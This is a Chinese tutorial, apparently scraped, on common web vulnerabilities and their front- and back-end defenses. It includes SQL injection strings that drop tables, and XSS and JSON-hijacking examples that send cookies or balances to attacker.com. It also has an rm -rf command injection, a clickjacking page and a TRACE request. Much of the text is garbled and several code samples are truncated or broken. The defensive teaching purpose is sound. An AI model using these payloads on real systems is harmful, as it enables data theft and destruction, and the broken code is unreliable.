网站营销网站建设,小程序开发兼职的哪家好,高端建材门店年销售额,网站开发有限公司Web常见安全漏洞全解析#xff08;含案例前后端实操防御方案#xff09; 目录
SQL注入XSS攻击#xff08;跨站脚本攻击#xff09;CSRF攻击#xff08;跨站请求伪造#xff09;DDoS攻击#xff08;分布式拒绝服务攻击#xff09;DNS劫持JSON劫持点击劫持OS命令注入URL…Web常见安全漏洞全解析含案例前后端实操防御方案目录SQL注入XSS攻击跨站脚本攻击CSRF攻击跨站请求伪造DDoS攻击分布式拒绝服务攻击DNS劫持JSON劫持点击劫持OS命令注入URL跳转漏洞其他常见漏洞暴力破解HTTP报头追踪漏洞TRACE方法信息泄露目录遍历漏洞文件上传漏洞业务漏洞1. SQL注入1.1 核心说明定义攻击者将SQL语句片段注入请求参数/表单后端未做校验直接拼接执行导致数据库数据泄露、篡改或删除。触发条件后端未过滤特殊字符、;、or、--等直接通过字符串拼接构造SQL语句。1.2 典型攻击案例案例1窃取全量用户数据前端请求GET /api/user?id1 OR 11后端原始SQLselect id, username, password from t_user where id${id}注入后SQLselect id, username, password from t_user where id1 OR 11后果返回用户表所有数据若密码未加密则直接泄露。案例2万能登录越权访问登录表单用户名输入admin --密码任意填写后端原始SQLselect * from t_admin where username${username} and password${password}注入后SQLselect * from t_admin where usernameadmin -- and passwordxxx后果--注释密码校验逻辑无需正确密码即可登录管理员账号。案例3恶意删表高危破坏前端请求GET /api/delete?orderId1; DROP TABLE t_user; --后端原始SQLdelete from t_order where id${orderId}注入后SQLdelete from t_order where id1; DROP TABLE t_user; --后果删除订单数据的同时删除用户表导致数据永久丢失。1.3 防御方案前后端协同1后端核心防御必做防御措施实操步骤代码示例参数化查询JavaPreparedStatementjavaString sql select * from t_user where id?; pstmt conn.prepareStatement(sql);.setInt(1, Integer.parseInt(id)); // 自动转义特殊字符ResultSet rs pstmt.executeQuery();brNode.jsSequelizebrjavascriptconst user await User.findOne({ where: { id: id } }); // 内置参数化输入字符过滤编写过滤函数拦截非法字符java String filterSql(String input) { (input null) return “”; 过滤SQL关键字及特殊字符.replaceAll(“[;\-\\/\(\)\[\]orANDUNIONDROP]”, “”);}敏感字段加密密码使用BCrypt不可逆加密存储javawd “user123”; encryptedPwd BCrypt.hashpw(rawPwd, BCrypt.gensalt()); // 加密后存储// 校验BCrypt.checkpw(rawPwd, encryptedPwd)2前端辅助防御输入格式校验ID仅允许数字用正则限制constvalidateId(value)/^\d$/.test(value)||alert(ID仅允许输入数字);关键字拦截提交前检测输入是否含or、drop等SQL关键字直接拦截。2. XSS攻击跨站脚本攻击2.1 核心说明定义攻击者将恶意JS脚本注入网页用户浏览时脚本执行窃取Cookie、篡改页面或诱导操作。分类反射型脚本通过URL参数注入后端未过滤直接返回页面一次性攻击存储型脚本存入数据库如评论、私信用户加载页面时触发持久化攻击DOM型前端未校验用户输入直接通过DOM渲染执行脚本前端漏洞。触发条件前后端未对用户输入的特殊字符、、等转义直接渲染页面。2.2 典型攻击案例案例1反射型XSS窃取Cookie攻击者构造链接http://example.com/search?keyhttps://attacker.com/steal?cookiedocument.cookie)诱导用户点击后端直接拼接页面返回案例2存储型XSS评论区钓鱼攻击者在评论区提交x onerroralert(请登录查看完整内容);window.location.hrefhttps://fake-login.com后端未过滤直接存入数据库其他用户查看评论时脚本执行后果诱导用户跳转到钓鱼网站泄露账号密码。案例3DOM型XSS前端漏洞前端代码document.getElementById(content).innerHTML location.hash.slice(1);攻击者构造链接http://example.com/#document.body.innerHTML1网站维护请点击a hrefhttps://fake-pay.com备份数据/a/h1/script后果页面被篡改诱导用户点击钓鱼链接。2.3 防御方案前后端协同1后端核心防御防御措施实操步骤代码示例输入转义编写HTML转义函数javapublic static String escapeHtml(String input) { if (input null) return “”; input input.replaceAll(“”, “”); input.replaceAll( “”); input input.replaceAll(“”, “”); input input.replaceAll(“”“, “””);input input.replaceAll(“”, “”);return input;}接收参数后先转义再存储/渲染String safeKey escapeHtml(request.getParameter(“key”));HttpOnly Cookie禁止JS读取敏感Cookiejava new Cookie(“sessionId”, “abc123xyz”);.setHttpOnly(true); // 核心配置.setSecure(true); // 仅HTTPS传输生产必配cookie.setPath(“/”);response.addCookie(cookie);2前端核心防御避免使用innerHTML渲染用户输入改用textContent// 危险document.getElementById(content).innerHTML userInput;// 安全document.getElementById(content).textContent userInput;第三方组件漏洞检测使用npm audit扫描依赖避免使用存在XSS漏洞的老旧组件输入长度限制评论、搜索框等限制最大长度如500字减少脚本注入空间。3. CSRF攻击跨站请求伪造3.1 核心说明定义利用用户已登录的会话状态诱导用户点击恶意链接发起跨域请求如转账、改密码冒充用户操作。触发条件用户已登录目标网站会话Cookie有效用户访问攻击者构造的恶意页面/链接。攻击本质浏览器自动携带目标网站Cookie服务器误判为用户本人操作。3.2 典型攻击案例转账场景场景用户已登录银行网站https://bank.example.comCookie有效攻击者构造恶意页面隐藏表单https://bank.example.com/api/transfer methodPOST idcsrfForm hidden nametoAccount valueattacker123 nameamount value10000 (csrfForm).submit();诱导用户点击该页面浏览器自动携带银行Cookie发起转账请求后果银行未做CSRF校验转账成功用户资金损失。3.3 防御方案后端为主前端辅助1后端核心防御必做防御措施实操步骤代码示例Anti-CSRF Token1. 页面加载时生成随机Tokenjavatransfer-page) String transferPage(HttpSession session, Model model) {String csrfToken UUID.randomUUID().toString(); session.setAttribute(“csrfToken”, csrfToken); model.addAttribute(“csrfToken”, csrfToken); // 传递给前端 return “transfer”;}前端表单携带Tokenbrhtmltransfer method“POST”“hidden” name“csrfToken” value“${csrfToken}”转账3. 后端校验TokenjavaPostMapping(/api/transfer)(RequestParam String csrfToken, HttpSession session) { serverToken (String) session.getAttribute(csrfToken);br if (!csrfToken.equals(serverToken)) { new RuntimeException(CSRF攻击Token校验失败);br } // 执行转账逻辑success;br}brSameSite Cookie设置Cookie跨域限制javaookie cookie new Cookie(sessionId, abc123);cookie.setSameSite(Strict); // 仅同域请求携带Cookie.addCookie(cookie);br核心操作加验证码转账、改密码等操作要求输入短信验证码/图形验证码强制用户手动确认。2前端辅助防御Axios全局携带CSRF Token// 请求拦截器axios.interceptors.request.use(config{constcsrfTokengetCookie(csrfToken);// 读取非HttpOnly的Tokenif(csrfToken)config.headers[X-CSRF-Token]csrfToken;returnconfig;});核心操作添加确认弹窗consthandleTransfer(){if(!confirm(确认向${toAccount}转账${amount}元))return;// 提交转账请求};4. DDoS攻击分布式拒绝服务攻击4.1 核心说明定义攻击者控制多台设备僵尸网络向目标服务器发送海量无效请求耗尽带宽、CPU、内存资源导致合法用户无法访问。常见攻击类型HTTP Flood海量HTTP请求如反复刷新压垮Web服务器SYN Flood伪造TCP连接请求耗尽服务器连接队列UDP Flood海量UDP数据包占用带宽。4.2 典型攻击案例案例HTTP Flood攻击Web服务瘫痪攻击者控制1000台僵尸机每台每秒发送100个GET /index.html请求目标服务器QPS瞬间达10万CPU占用率100%内存耗尽后果合法用户访问网站时超时服务完全不可用。4.3 防御方案多层防护运维开发协同1基础设施层运维负责核心防护防御措施实操步骤部署CDN1. 接入Cloudflare/阿里云CDN更改域名DNS指向CDN. 开启“攻击模式”自动过滤恶意请求 静态资源图片、JS、CSS直接从CDN返回减轻源服务器压力。配置高防IP1. 购买阿里云/腾讯云高防IP绑定源服务器2. 开启“SYN Flood防护”“HTTP Flood防护”设置清洗阈值如单IP每秒500次请求触发清洗。Nginx限流配置Nginx限制单IP请求频率nginxhttp { limit_req_zone $binary_remote_addr zoneone:10m rate100r/s;server {listen 80;_name example.com; limit_req zoneone burst10 nodelay; // 1秒最多100请求缓存10个 limit_conn addr 20; // 单IP最大20个并发连接}}2后端防御开发负责分布式限流Redis实现ComponentpublicclassRedisLimiter{AutowiredprivateStringRedisTemplateredisTemplate;// 接口限流key接口名limit每秒最大请求数publicbooleanlimit(Stringkey,intlimit){StringredisKeylimiter:key;LongcountredisTemplate.opsForValue().increment(redisKey,1);if(count1)redisTemplate.expire(redisKey,1,TimeUnit.SECONDS);returncount}// 接口使用GetMapping(/api/core)publicStringcoreApi(){if(!redisLimiter.limit(coreApi,50)){return请求过于频繁请稍后再试;}// 业务逻辑returnsuccess;}服务降级非核心接口如评论、推荐触发限流时返回降级提示优先保障登录、支付等核心功能。3前端防御按钮节流避免用户高频点击触发重复请求constthrottle(fn,delay1000){letlastTime0;return(...args){constnowDate.now();if(now-lastTimedelay){lastTimenow;fn.apply(this,args);}};};// 按钮点击事件绑定节流consthandleClickthrottle((){axios.get(/api/core);});静态资源CDN部署将图片、CSS、JS等静态资源上传至阿里云OSS通过CDN加速访问避免源服务器处理静态资源请求。5. DNS劫持5.1 核心说明定义攻击者篡改DNS解析结果将域名指向恶意IP如钓鱼网站导致用户访问虚假网站而非真实服务器。常见劫持方式DNS缓存污染、ARP欺骗、路由器DNS篡改、本机Hosts文件篡改。触发条件用户使用不安全的DNS服务器、路由器未设密码、设备感染恶意软件。5.2 典型攻击案例案例1钓鱼网站劫持资金诈骗正常解析www.bank-example.com→ 真实IP10.0.0.1官方银行网站劫持后解析www.bank-example.com→ 恶意IP203.0.113.10钓鱼网站攻击过程攻击者通过ARP欺骗篡改路由器DNS缓存用户访问银行官网时被导向仿冒页面后果用户在钓鱼网站输入银行卡号、密码、验证码全部被攻击者窃取导致资金损失。案例2本机Hosts劫持信息泄露攻击者通过恶意软件修改用户电脑Hosts文件WindowsC:\Windows\System32\drivers\etc\hosts203.0.113.10 www.example.com用户访问www.example.com时直接解析到恶意IP打开仿冒的登录页面后果用户误以为是官方网站输入账号密码后被攻击者获取。5.3 防御方案多层防护运维用户开发协同1基础设施层运维负责防御措施实操步骤配置多域名备份1. 注册备用域名如主域example.com备用域example-cn.com 主域被劫持时通过官方渠道微信公众号、短信通知用户切换备用域3. 备用域绑定独立服务器避免同时被劫持。启用DNSSEC1. 在域名服务商阿里云DNS、Cloudflare开启DNSSEC功能2. 生成密钥对公钥私钥将公钥提交至域名注册商. 效果DNS服务器会验证解析结果的数字签名篡改后的解析会被拒绝。定期检测DNS解析1. 使用nslookup/dig工具定期校验解析结果nslookup www.example.com # 查看当前解析IP.example.com 8.8.8.8 # 用谷歌DNS验证对比是否一致发现异常时立即联系域名服务商重置DNS配置。2开发层防御强制使用HTTPS并配置HSTS// Spring Boot全局配置HSTS强制浏览器用HTTPS访问ConfigurationpublicclassWebConfigimplementsWebMvcConfigurer{OverridepublicvoidaddInterceptors(InterceptorRegistryregistry){registry.addInterceptor(newHandlerInterceptor(){OverridepublicbooleanpreHandle(HttpServletRequestreq,HttpServletResponseresp,Objecthandler){// max-age315360001年有效期includeSubDomains包含子域名resp.setHeader(Strict-Transport-Security,max-age31536000; includeSubDomains);returntrue;}});}}效果即使DNS劫持到恶意IP浏览器也会因HTTPS证书不匹配提示“不安全”阻止用户访问。3用户层防御手动修改DNS服务器Windows网络属性 → IPv4属性 → DNS服务器填写223.5.5.5阿里云DNS或8.8.8.8谷歌DNSMac系统设置 → 网络 → 高级 → DNS → 添加可信DNS路由器登录管理后台如192.168.1.1在DNS设置中配置可信地址。检查并保护Hosts文件Windows打开C:\Windows\System32\drivers\etc\hosts删除非官方添加的解析记录为Hosts文件设置只读权限右键 → 属性 → 安全 → 拒绝“写入”权限。6. JSON劫持6.1 核心说明定义攻击者利用跨域请求特性诱导用户访问恶意页面窃取目标网站返回的JSON敏感数据如用户余额、个人信息。触发条件目标网站仅通过Cookie验证请求合法性未限制跨域JSON读取攻击者通过script标签加载JSON接口浏览器允许跨域加载脚本。攻击本质标签加载JSON后自动解析为JS对象攻击者通过重写对象原型窃取数据。6.2 典型攻击案例窃取用户余额目标网站接口已登录用户可访问https://example.com/api/user/info返回JSON{uid:123,username:test,balance:5000}攻击者构造恶意页面 // 重写Object原型的setter窃取balance字段 Object.prototype.__defineSetter__(balance, function(value) { // 将余额和UID发送到攻击者服务器 new Image().src https://attacker.com/steal?uid${this.uid}balance${value}; });/script跨域加载目标网站JSON接口浏览器自动解析为JS对象 -- example.com/api/user/info/script/body诱导已登录用户访问该恶意页面浏览器自动携带目标网站Cookie请求JSON接口后果用户的UID和余额被发送到攻击者服务器敏感信息泄露。6.3 防御方案后端核心前端辅助1后端核心防御必做防御措施实操步骤代码示例JSON添加安全前缀1. 后端返回JSON时添加while(1);前缀阻止script标签解析Java示例javaGetMapping(/api/user/info) String getUserInfo() {br UserInfo user new UserInfo(123, test, 5000);br String json new ObjectMapper().writeValueAsString(user); return while(1); json; // 添加前缀br}br2. 前端解析时去除前缀javascript(“/api/user/info”).then(res { const safeJson res.data.replace(“while(1);”, “”); // 去除前缀 const userInfo JSON.parse(safeJson);});3. 效果恶意页面通过script加载时会因while(1);进入死循环无法解析JSON。校验Referer/Origin1. 后端拦截JSON接口仅允许本站或可信域名访问javaGetMapping(“/api/user/info”) String getUserInfo(HttpServletRequest request) { String referer request.getHeader(“Referer”);String origin request.getHeader(“Origin”);// 校验Referer/Origin是否为可信域名如example.com if (referer null2前端辅助防御避免通过标签加载敏感JSON接口统一使用AJAX/Fetch请求敏感JSON数据加密传输后端返回加密后的JSON前端解密后使用如AES加密。7. 点击劫持7.1 核心说明定义攻击者将目标网站通过透明iframe嵌入恶意页面诱导用户点击“虚假按钮”实际点击iframe中的目标网站按钮完成非预期操作如点赞、转账、授权。攻击特点隐蔽性强iframe透明、视觉欺骗虚假按钮覆盖真实按钮。触发条件目标网站未限制被iframe嵌入或未对嵌入来源做校验。7.2 典型攻击案例冒充用户点赞/关注场景用户已登录社交网站https://social.example.com会话有效攻击者构造恶意页面DOCTYPE htmlhtml /* iframe透明覆盖在虚假按钮上方 */ #targetIframe { position: absolute; top: 0; left: 0; width: 200px; height: 50px; opacity: 0.01; /* 透明不可见 */ z-index: 10; } /* 虚假按钮诱导用户点击 */ #fakeBtn { position: absolute; top: 0; left: 0; width: 200px; height: 50px; background: #ff0000; color: white; font-size: 16px; line-height: 50px; text-align: center; }/stylebodyidfakeBtn领取100元红包/div嵌入目标网站的“关注”按钮页面 -- rame srchttps://social.example.com/follow?userIdattacker诱导用户点击“领取100元红包”按钮实际点击的是iframe中的“关注”按钮后果用户在不知情的情况下关注了攻击者账号攻击者借此涨粉或传播恶意内容。7.3 防御方案后端为主前端辅助1后端核心防御必做防御措施实操步骤代码示例配置X-Frame-Options响应头1. Spring Boot全局配置javaConfigurationConfig implements WebMvcConfigurer {Override addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new HandlerInterceptor() { Override public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) { // DENY禁止任何网站iframe嵌入SAMEORIGIN仅允许本站嵌入 resp.setHeader(X-Frame-Options, DENY); return true; } }); }br}. Nginx配置nginxserver { listen 80; server_name example.com; X-Frame-Options DENY;br}2前端辅助防御JS校验是否被iframe嵌入// 页面加载时执行if(self!top){// 被iframe嵌入跳转到自身域名打破iframetop.location.hrefself.location.href;// 或隐藏页面内容document.body.style.displaynone;alert(禁止通过iframe访问本站);}核心操作按钮添加二次确认consthandleFollow(){if(!confirm(确认关注该用户吗))return;// 执行关注逻辑};8. OS命令注入8.1 核心说明定义攻击者将操作系统命令片段注入请求参数后端未做校验直接拼接执行导致服务器被控制如删除文件、查看敏感信息。触发条件后端通过exec()、system()等函数执行系统命令且直接拼接用户输入的参数。常见场景文件下载、服务器监控、第三方工具调用如Git、FFmpeg。8.2 典型攻击案例删除服务器文件场景后端提供“下载Git仓库”功能参数为用户输入的仓库地址后端Node.js代码危险写法constexecrequire(child_process).exec;app.get(/download-repo,(req,res){constreporeq.query.repo;// 用户输入的仓库地址// 直接拼接命令执行exec(git clone${repo}/var/www/repos,(err,stdout,stderr){if(err)returnres.send(下载失败);res.send(下载成功);});});攻击者构造请求GET /download-repo?repohttps://github.com/xxx/xxx.git rm -rf /var/www/* 拼接后执行的命令git clone https://github.com/xxx/xxx.git rm -rf /var/www/* /var/www/repos后果rm -rf /var/www/*删除网站根目录所有文件导致服务瘫痪。8.3 防御方案后端核心前端辅助1后端核心防御必做防御措施实操步骤代码示例避免直接拼接命令使用参数化命令执行工具禁止字符串拼接.js示例使用execFile仅接收数组参数javascriptFile require(child_process).execFile;app.get(/download-repo, (req, res) { const repo req.query.repo; 参数以数组形式传入自动转义特殊字符 execFile(git, [clone, repo, /var/www/repos], (err, stdout, stderr) { if (err) return res.send(下载失败);br res.send(下载成功); });});brJava示例使用ProcessBuilderjavaProcessBuilder pb new ProcessBuilder(“git”, “clone”, repo, “/var/www/repos”);Process process pb.start();输入严格过滤编写过滤函数仅允许合法字符如字母、数字、/、:、-javascriptconst validateRepo (repo) { const reg /^https?:\/\/[a-zA-Z0-9.-]\/[a-zA-Z0-9_-]\/[a-zA-Z0-9_-]\.git$/;.test(repo);};validateRepo(repo)) {br return res.send(非法仓库地址);br}使用第三方转义库Node.js使用shell-escape库转义参数javascriptconst shellEscape require(‘shell-escape’);const cmd git clone ${shellEscape([repo])} /var/www/repos;(cmd, (err, stdout, stderr) { … });最小权限运行Web应用进程以普通用户权限运行如www-data禁止root权限限制命令执行目录的写入权限避免恶意修改系统文件。2前端辅助防御输入格式校验仅允许输入合法的仓库地址格式如https://github.com/xxx/xxx.git用正则拦截非法字符限制参数长度仓库地址输入框限制最大长度为200字符避免传入过长的恶意命令字符串。9. URL跳转漏洞9.1 核心说明定义攻击者构造含恶意URL的跳转链接诱导用户点击通过目标网站的跳转功能跳转到钓鱼网站窃取用户信息或诱导操作。触发条件后端未校验跳转URL的合法性直接根据用户传入的redirect、url等参数执行跳转。常见场景登录后跳转、分享链接跳转、活动页面跳转。9.2 典型攻击案例钓鱼网站诱导场景目标网站登录后支持跳转回原页面跳转参数为redirecthttps://example.com/login?redirect/user/home攻击者构造恶意链接https://example.com/login?redirecthttps://fake-login.com诱导用户点击该链接用户登录成功后被自动跳转到https://fake-login.com钓鱼网站钓鱼网站仿冒目标网站的“完善个人信息”页面诱导用户输入银行卡号、验证码导致信息泄露。9.3 防御方案后端核心前端辅助1后端核心防御必做防御措施实操步骤代码示例白名单校验仅允许跳转到本站域名或可信域名拒绝其他域名跳转Java示例javaGetMapping(“/login”)public String login(RequestParam(required false) String redirect, HttpSession session) { // 已登录执行跳转session.getAttribute(“user”) ! null) { // 白名单仅允许本站域名和可信合作伙伴域名 allowDomains Arrays.asList(“example.com”, “partner-example.com”);if (redirect ! null !redirect.isEmpty()) { // 解析跳转URL的域名 getDomain(redirect);if (allowDomains.contains(domain)添加跳转Token1. 生成跳转Token并与URL绑定javaGetMapping(/get-redirect-url)RedirectUrl(HttpSession session) { targetUrl /user/home; token UUID.randomUUID().toString(); // 存储Token与目标URL的映射有效期5分钟 session.setAttribute(redirect_token_ token, targetUrl);br return /login?redirect_token token;br}. 跳转时校验TokenGetMapping(“/login”)(RequestParam String redirect_token, HttpSession session) {String targetUrl (String) session.getAttribute(“redirect_token_” redirect_token); if (targetUrl ! null) { session.removeAttribute(“redirect_token_” redirect_token); // 一次性使用 return “redirect:” targetUrl; } “redirect:/user/home”;}限制相对路径跳转仅允许跳转至本站相对路径如/user/home禁止绝对路径如https://xxx.comjava (redirect.startsWith(“http://”)2前端辅助防御跳转前弹窗提醒若跳转目标为外部域名弹出确认提示javascriptconst handleRedirect (redirectUrl) { if (redirectUrl.startsWith(http://) || redirectUrl.startsWith(https://)) { if (!confirm(即将跳转到外部网站请注意安全是否继续)) {br return;br } } window.location.href redirectUrl;br};br前端过滤非法跳转URL拦截含fake、phish等关键词的URL或直接拦截非白名单域名的跳转。10. 其他常见漏洞10.1 暴力破解10.1.1 核心说明定义攻击者使用工具枚举用户名密码如弱密码123456、admin123尝试登录系统获取账号控制权。触发条件系统未限制登录尝试次数、未启用验证码、用户使用弱密码。10.1.2 典型攻击案例账号被盗攻击者获取目标网站的用户名列表如通过信息泄露、注册接口枚举使用暴力破解工具如Hydra对每个用户名尝试1000个常见弱密码若系统未限制尝试次数攻击者成功破解弱密码账号登录后窃取用户信息或进行恶意操作如发布垃圾信息。10.1.3 防御方案后端核心前端辅助防御措施实操步骤代码示例限制登录尝试次数1. Redis记录用户登录失败次数javaPostMapping(“/login”)public String login(RequestParam String username, RequestParam String password, HttpSession session) { String redisKey “login_fail_” username;Count redisTemplate.opsForValue().get(redisKey); if (failCount ! null failCount 5) { return “登录失败次数过多请10分钟后再试”; } 校验用户名密码 if (“admin”.equals(username) “StrongPwd123!”.equals(password)) { redisTemplate.delete(redisKey); // 登录成功清除失败次数 session.setAttribute(“user”, username); return “redirect:/user/home”; } else { // 登录失败累加次数设置10分钟过期Template.opsForValue().increment(redisKey, 1); redisTemplate.expire(redisKey, 10, TimeUnit.MINUTES); “用户名或密码错误”;}}登录验证码1. 失败3次后要求输入图形验证码javafailCount ! null failCount 3) {br String captcha request.getParameter(captcha); String sessionCaptcha (String) session.getAttribute(captcha); if (!captcha.equalsIgnoreCase(sessionCaptcha)) {br return 验证码错误; }br}. 图形验证码生成使用KaptchajavaBeanKaptcha getDefaultKaptcha() { DefaultKaptcha captcha new DefaultKaptcha(); Properties props new Properties();.setProperty(“kaptcha.border”, “no”);props.setProperty(“kaptcha.textproducer.char.length”, “4”); config new Config(props);captcha.setConfig(config); return captcha;}强制强密码策略注册/改密码时要求密码复杂度字母数字特殊字符长度≥8const validatePassword (pwd) {const reg /^(?.[a-z])(?.[A-Z])(?.\d)(?.[! !%*?])[A-Za-z\d!!%*?]{8,}$/;return reg.test(pwd)10.2 HTTP报头追踪漏洞TRACE方法10.2.1 核心说明定义HTTP TRACE方法用于调试服务器会返回完整的请求头含Cookie、Session Token攻击者可利用此窃取敏感信息。触发条件Web服务器启用了HTTP TRACE方法。10.2.2 典型攻击案例窃取Cookie攻击者向目标服务器发送TRACE请求bashcurl -X TRACE https://example.combr服务器启用TRACE后返回响应包含完整请求头TRACE / HTTP/1.1 example.com sessionIdabc123xyz; uid123br...br攻击者获取到sessionId后可冒充用户登录系统。10.2.3 防御方案服务器层核心防御措施实操步骤禁用TRACE方法1. Nginx配置nginxserver { listen 80;server_name example.com; 禁用TRACE、TRACK方法request_method ~* TRACE10.3 信息泄露10.3.1 核心说明定义应用程序未正确处理报错或配置不当泄露服务器版本、数据库信息、源代码片段、用户敏感数据等。常见泄露途径报错页面显示异常堆栈、robots.txt暴露敏感路径、HTTP响应头泄露软件版本、日志文件未脱敏。10.3.2 典型攻击案例报错信息泄露后端代码未捕获异常报错时返回完整堆栈HTTP/1.1 500 Internal Server Errorcat/8.5.61br...brjava.sql.SQLException: Access denied for user rootlocalhost (using password: YES)brat com.mysql.jdbc.SQLError.createSQLException(SQLError.java:965)brat com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3976)br...攻击者获取到数据库用户名root、服务器软件版本Tomcat/8.5.61为后续攻击做准备。10.3.3 防御方案多层协同防御措施实操步骤统一错误页面1. Spring Boot配置生产环境错误页面yaml: prod:ception-if-no-handler-found: true web::appings: false:br error:br path: /errorabel:: falsebr2. 自定义错误页面src/main/resources/public/error/500.html不显示任何技术细节。隐藏软件版本1. Nginx配置nginxhttp {server_tokens off; // 隐藏Nginx版本}Tomcat配置conf/server.xml日志脱敏日志中屏蔽敏感信息手机号、身份证、密码java// 使用日志脱敏工具类public class LogDesensitizer { // 手机号脱敏1381234 String desensitizePhone(String phone) { if (phone null) return “”; return phone.replaceAll(“(\d{3})\d{4}(\d{4})”, $1$2);}}输出.info(“用户登录手机号{}”, LogDesensitizer.desensitizePhone(phone));限制robots.txt编辑robots.txt禁止搜索引擎抓取敏感路径: *allow: /admin/Disallow: /api/ /config/10.4 目录遍历漏洞10.4.1 核心说明定义攻击者通过URL注入../、..\或其编码如%2e%2e%2f访问服务器未授权目录如/etc/passwd、/root/.ssh窃取敏感文件。触发条件后端未过滤路径中的../字符直接拼接